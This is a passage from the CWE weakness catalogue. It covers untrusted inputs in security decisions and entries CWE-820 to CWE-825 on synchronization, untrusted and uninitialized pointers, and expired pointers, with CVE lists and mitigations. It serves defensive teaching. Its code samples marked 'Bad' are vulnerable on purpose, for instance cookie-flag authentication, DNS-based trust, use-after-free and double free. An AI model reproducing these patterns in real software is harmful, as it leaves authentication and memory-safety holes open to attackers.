    userRole = c.getValue();
  }
}
```

Example 2:

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

Example Language: PHP *(Bad)*

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
  if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
    // save the cookie to send out in future responses
    setcookie("authenticated", "1", time()+60*60*2);
  }
  else {
    ShowLoginScreen();
    die("\n");
  }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

Example 3:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java *(Bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
    authenticated = true;
  }
}
```

Example 4:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

Example Language: C *(Bad)*

```
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
  trusted = true;
} else {
  trusted = false;
}
```

Example Language: Java *(Bad)*

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
  trusted = true;
}
```

Example Language: C# *(Bad)*

```
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
  trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Observed Examples

Reference	Description
CVE-2009-1549	Attacker can bypass authentication by setting a cookie to a specific value. *https://www.cve.org/CVERecord?id=CVE-2009-1549*
CVE-2009-1619	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1. *https://www.cve.org/CVERecord?id=CVE-2009-1619*
CVE-2009-0864	Content management system allows admin privileges by setting a "login" cookie to "OK." *https://www.cve.org/CVERecord?id=CVE-2009-0864*
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1. *https://www.cve.org/CVERecord?id=CVE-2008-5784*
CVE-2008-6291	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin." *https://www.cve.org/CVERecord?id=CVE-2008-6291*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	803	2010 Top 25 - Porous Defenses	800	2355
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2369
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	2372
MemberOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	2378
MemberOf	V	884	CWE Cross-section	884	2567

Nature	Type	ID	Name	V	Page
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491
MemberOf	C	1365	ICS Communications: Unreliability	1358	2502
MemberOf	C	1373	ICS Engineering (Construction/Deployment): Trust Model Problems	1358	2510
MemberOf	C	1413	Comprehensive Categorization: Protection Mechanism Failure	1400	2542

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	SEC09-J		Do not base security checks on untrusted sources

References

[REF-754]Frank Kim. "Top 25 Series - Rank 6 - Reliance on Untrusted Inputs in a Security Decision". 2010 March 5. SANS Software Security Institute. < https://www.sans.org/blog/top-25-series-rank-6-reliance-on-untrusted-inputs-in-a-security-decision/ >.2023-04-07.

[REF-529]"HMAC". 2011 August 8. Wikipedia. < https://en.wikipedia.org/wiki/HMAC >.2023-04-07.

[REF-756]Scott Mitchell. "Understanding ASP.NET View State". 2004 May 5. Microsoft. < https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/ms972976(v=msdn.10)?redirectedfrom=MSDN >.2023-04-07.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

CWE-820: Missing Synchronization

Weakness ID : 820
Structure : Simple
Abstraction : Base

Description

The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.

Extended Description

If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the product. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1448
ParentOf	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	1255

Nature	Type	ID	Name	Page
ParentOf	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1288
ParentOf	V	1096	Singleton Class Instance Creation without Proper Locking or Synchronization	1936

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1448

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1448

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	2329

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Other	Modify Application Data Read Application Data Alter Execution Logic	

Demonstrative Examples

Example 1:

The following code intends to fork a process, then have both the parent and child processes print a single line.

Example Language: C *(Bad)*

```
static void print (char * string) {
  char * word;
  int counter;
  for (word = string; counter = *word++; ) {
    putc(counter, stdout);
    fflush(stdout);
    /* Make timing window a little larger... */
    sleep(1);
  }
}
int main(void) {
  pid_t pid;
  pid = fork();
  if (pid == -1) {
    exit(-2);
  }
  else if (pid == 0) {
    print("child\n");
  }
  else {
    print("PARENT\n");
  }
  exit(0);
}
```

One might expect the code to print out something like:

PARENT
child

However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

```
PcAhRiElNdT
[blank line]
[blank line]
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	2366
MemberOf	C	1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	1133	2449
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK05-J		Synchronize access to static fields that can be modified by untrusted code

CWE-821: Incorrect Synchronization

Weakness ID : 821
Structure : Simple
Abstraction : Base

Description

The product utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.

Extended Description

If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the product. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1448
ParentOf	V	572	Call to Thread run() instead of start()	1296
ParentOf	V	574	EJB Bad Practices: Use of Synchronization Primitives	1300
ParentOf	B	1088	Synchronous Access of Remote Resource without Timeout	1928
ParentOf	B	1264	Hardware Logic with Insecure De-Synchronization between Control and Data Channels	2086

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1448

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1448

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	2329

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Other	Modify Application Data Read Application Data Alter Execution Logic	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

CWE-822: Untrusted Pointer Dereference

Weakness ID : 822
Structure : Simple
Abstraction : Base

Description

The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.

Extended Description

An attacker can supply a pointer for memory locations that the product is not expecting. If the pointer is dereferenced for a write operation, the attack might allow modification of critical state variables, cause a crash, or execute code. If the dereferencing operation is for a read, then the attack might allow reading of sensitive data, cause a crash, or set a variable to an unexpected value (since the value will be read from an unexpected memory location).

There are several variants of this weakness, including but not necessarily limited to:

- The untrusted value is directly invoked as a function call.
- In OS kernels or drivers where there is a boundary between "userland" and privileged memory spaces, an untrusted pointer might enter through an API or system call (see CWE-781 for one such example).
- Inadvertently accepting the value from an untrusted control sphere when it did not have to be accepted as input at all. This might occur when the code was originally developed to be run by a single user in a non-networked environment, and the code is then ported to or otherwise exposed to a networked environment.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293
CanFollow	V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	1646
CanPrecede	B	125	Out-of-bounds Read	330
CanPrecede	B	787	Out-of-bounds Write	1661

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2328

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.*	
Availability	DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	If the untrusted pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory *If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.*	

Observed Examples

Reference	Description
CVE-2007-5655	message-passing framework interprets values in packets as pointers, causing a crash. *https://www.cve.org/CVERecord?id=CVE-2007-5655*
CVE-2010-2299	labeled as a "type confusion" issue, also referred to as a "stale pointer." However, the bug ID says "contents are simply interpreted as a pointer... renderer ordinarily doesn't supply this pointer directly". The "handle" in the untrusted area is replaced in one function, but not another - thus also, effectively, exposure to wrong sphere (CWE-668). *https://www.cve.org/CVERecord?id=CVE-2010-2299*
CVE-2009-1719	Untrusted dereference using undocumented constructor. *https://www.cve.org/CVERecord?id=CVE-2009-1719*
CVE-2009-1250	An error code is incorrectly checked and interpreted as a pointer, leading to a crash. *https://www.cve.org/CVERecord?id=CVE-2009-1250*
CVE-2009-0311	An untrusted value is obtained from a packet and directly called as a function pointer, leading to code execution. *https://www.cve.org/CVERecord?id=CVE-2009-0311*
CVE-2010-1818	Undocumented attribute in multimedia software allows "unmarshaling" of an untrusted pointer. *https://www.cve.org/CVERecord?id=CVE-2010-1818*
CVE-2010-3189	ActiveX control for security software accepts a parameter that is assumed to be an initialized pointer. *https://www.cve.org/CVERecord?id=CVE-2010-3189*
CVE-2010-1253	Spreadsheet software treats certain record values that lead to "user-controlled pointer" (might be untrusted offset, not untrusted pointer). *https://www.cve.org/CVERecord?id=CVE-2010-1253*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2372
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2376
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
129	Pointer Manipulation

CWE-823: Use of Out-of-range Pointer Offset

Weakness ID : 823
Structure : Simple
Abstraction : Base

Description

The product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.

Extended Description

While a pointer can contain a reference to any arbitrary memory location, a program typically only intends to use the pointer to access limited portions of memory, such as contiguous memory used to access an individual array.

Programs may use offsets in order to access fields or sub-elements stored within structured data. The offset might be out-of-range if it comes from an untrusted source, is the result of an incorrect calculation, or occurs because of another error.

If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the product. As a result, the attack might change the state of the product as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293
CanFollow	V	129	Improper Validation of Array Index	341
CanPrecede	B	125	Out-of-bounds Read	330
CanPrecede	B	787	Out-of-bounds Write	1661

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2328

Alternate Terms

Untrusted pointer offset : This term is narrower than the concept of "out-of-range" offset, since the offset might be the result of a calculation or other error that does not depend on any externally-supplied values.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.*	
Availability	DoS: Crash, Exit, or Restart *If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory *If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Observed Examples

Reference	Description
CVE-2010-2160	Invalid offset in undocumented opcode leads to memory corruption. *https://www.cve.org/CVERecord?id=CVE-2010-2160*
CVE-2010-1281	Multimedia player uses untrusted value from a file when using file-pointer calculations. *https://www.cve.org/CVERecord?id=CVE-2010-1281*

Reference	Description
CVE-2009-3129	Spreadsheet program processes a record with an invalid size field, which is later used as an offset. *https://www.cve.org/CVERecord?id=CVE-2009-3129*
CVE-2009-2694	Instant messaging library does not validate an offset value specified in a packet. *https://www.cve.org/CVERecord?id=CVE-2009-2694*
CVE-2009-2687	Language interpreter does not properly handle invalid offsets in JPEG image, leading to out-of-bounds memory access and crash. *https://www.cve.org/CVERecord?id=CVE-2009-2687*
CVE-2009-0690	negative offset leads to out-of-bounds read *https://www.cve.org/CVERecord?id=CVE-2009-0690*
CVE-2008-4114	untrusted offset in kernel *https://www.cve.org/CVERecord?id=CVE-2008-4114*
CVE-2010-2873	"blind trust" of an offset value while writing heap memory allows corruption of function pointer,leading to code execution *https://www.cve.org/CVERecord?id=CVE-2010-2873*
CVE-2010-2866	negative value (signed) causes pointer miscalculation *https://www.cve.org/CVERecord?id=CVE-2010-2866*
CVE-2010-2872	signed values cause incorrect pointer calculation *https://www.cve.org/CVERecord?id=CVE-2010-2872*
CVE-2007-5657	values used as pointer offsets *https://www.cve.org/CVERecord?id=CVE-2007-5657*
CVE-2010-2867	a return value from a function is sign-extended if the value is signed, then used as an offset for pointer arithmetic *https://www.cve.org/CVERecord?id=CVE-2010-2867*
CVE-2009-1097	portions of a GIF image used as offsets, causing corruption of an object pointer. *https://www.cve.org/CVERecord?id=CVE-2009-1097*
CVE-2008-1807	invalid numeric field leads to a free of arbitrary memory locations, then code execution. *https://www.cve.org/CVERecord?id=CVE-2008-1807*
CVE-2007-2500	large number of elements leads to a free of an arbitrary address *https://www.cve.org/CVERecord?id=CVE-2007-2500*
CVE-2008-1686	array index issue (CWE-129) with negative offset, used to dereference a function pointer *https://www.cve.org/CVERecord?id=CVE-2008-1686*
CVE-2010-2878	"buffer seek" value - basically an offset? *https://www.cve.org/CVERecord?id=CVE-2010-2878*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
129	Pointer Manipulation

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-824: Access of Uninitialized Pointer

Weakness ID : 824
Structure : Simple
Abstraction : Base

Description

The product accesses or uses a pointer that has not been initialized.

Extended Description

If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the product to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks.

Depending on memory layout, associated memory management behaviors, and product operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293
CanPrecede	B	125	Out-of-bounds Read	330
CanPrecede	B	787	Out-of-bounds Write	1661

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	●	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	●	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2328

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *If the uninitialized pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.*	
Availability	DoS: Crash, Exit, or Restart *If the uninitialized pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If the uninitialized pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Observed Examples

Reference	Description
CVE-2010-0211	chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824). *https://www.cve.org/CVERecord?id=CVE-2010-0211*
CVE-2009-2768	Pointer in structure is not initialized, leading to NULL pointer dereference (CWE-476) and system crash. *https://www.cve.org/CVERecord?id=CVE-2009-2768*
CVE-2009-1721	Free of an uninitialized pointer. *https://www.cve.org/CVERecord?id=CVE-2009-1721*
CVE-2009-1415	Improper handling of invalid signatures leads to free of invalid pointer. *https://www.cve.org/CVERecord?id=CVE-2009-1415*
CVE-2009-0846	Invalid encoding triggers free of uninitialized pointer. *https://www.cve.org/CVERecord?id=CVE-2009-0846*

Reference	Description
CVE-2009-0040	Crafted PNG image leads to free of uninitialized pointer. *https://www.cve.org/CVERecord?id=CVE-2009-0040*
CVE-2008-2934	Crafted GIF image leads to free of uninitialized pointer. *https://www.cve.org/CVERecord?id=CVE-2008-2934*
CVE-2007-4682	Access of uninitialized pointer might lead to code execution. *https://www.cve.org/CVERecord?id=CVE-2007-4682*
CVE-2007-4639	Step-based manipulation: invocation of debugging function before the primary initialization function leads to access of an uninitialized pointer and code execution. *https://www.cve.org/CVERecord?id=CVE-2007-4639*
CVE-2007-4000	Unchecked return values can lead to a write to an uninitialized pointer. *https://www.cve.org/CVERecord?id=CVE-2007-4000*
CVE-2007-2442	zero-length input leads to free of uninitialized pointer. *https://www.cve.org/CVERecord?id=CVE-2007-2442*
CVE-2007-1213	Crafted font leads to uninitialized function pointer. *https://www.cve.org/CVERecord?id=CVE-2007-1213*
CVE-2006-6143	Uninitialized function pointer in freed memory is invoked *https://www.cve.org/CVERecord?id=CVE-2006-6143*
CVE-2006-4175	LDAP server mishandles malformed BER queries, leading to free of uninitialized memory *https://www.cve.org/CVERecord?id=CVE-2006-4175*
CVE-2006-0054	Firewall can crash with certain ICMP packets that trigger access of an uninitialized pointer. *https://www.cve.org/CVERecord?id=CVE-2006-0054*
CVE-2003-1201	LDAP server does not initialize members of structs, which leads to free of uninitialized pointer if an LDAP request fails. *https://www.cve.org/CVERecord?id=CVE-2003-1201*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-825: Expired Pointer Dereference

Weakness ID : 825
Structure : Simple
Abstraction : Base

Description

The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.

Extended Description

When a product releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the product to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	672	Operation on a Resource after Expiration or Release	1479
ChildOf	Ⓒ	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293
ParentOf	Ⓥ	415	Double Free	1008
ParentOf	Ⓥ	416	Use After Free	1012
CanFollow	Ⓑ	562	Return of Stack Variable Address	1278
CanPrecede	Ⓑ	125	Out-of-bounds Read	330
CanPrecede	Ⓑ	787	Out-of-bounds Write	1661

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	🄲	465	Pointer Issues	2328

Alternate Terms

Dangling pointer :

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

Scope	Impact	Likelihood
	If the expired pointer is used in a read operation, an attacker might be able to control data read in by the application.	
Availability	DoS: Crash, Exit, or Restart *If the expired pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If the expired pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.*	

Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

Demonstrative Examples

Example 1:

The following code shows a simple example of a use after free error:

Example Language: C *(Bad)*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
  abrt = 1;
  free(ptr);
}
...
if (abrt) {
  logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2:

The following code shows a simple example of a double free error:

Example Language: C *(Bad)*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
  free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Observed Examples

Reference	Description
CVE-2008-5013	access of expired memory address leads to arbitrary code execution *https://www.cve.org/CVERecord?id=CVE-2008-5013*
CVE-2010-3257	stale pointer issue leads to denial of service and possibly other consequences *https://www.cve.org/CVERecord?id=CVE-2010-3257*
CVE-2008-0062	Chain: a message having an unknown message type may cause a reference to uninitialized memory resulting in a null pointer dereference (CWE-476) or dangling pointer (CWE-825), possibly crashing the system or causing heap corruption. *https://www.cve.org/CVERecord?id=CVE-2008-0062*
CVE-2007-1211	read of value at an offset into a structure after the offset is no longer valid *https://www.cve.org/CVERecord?id=CVE-2007-1211*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2372
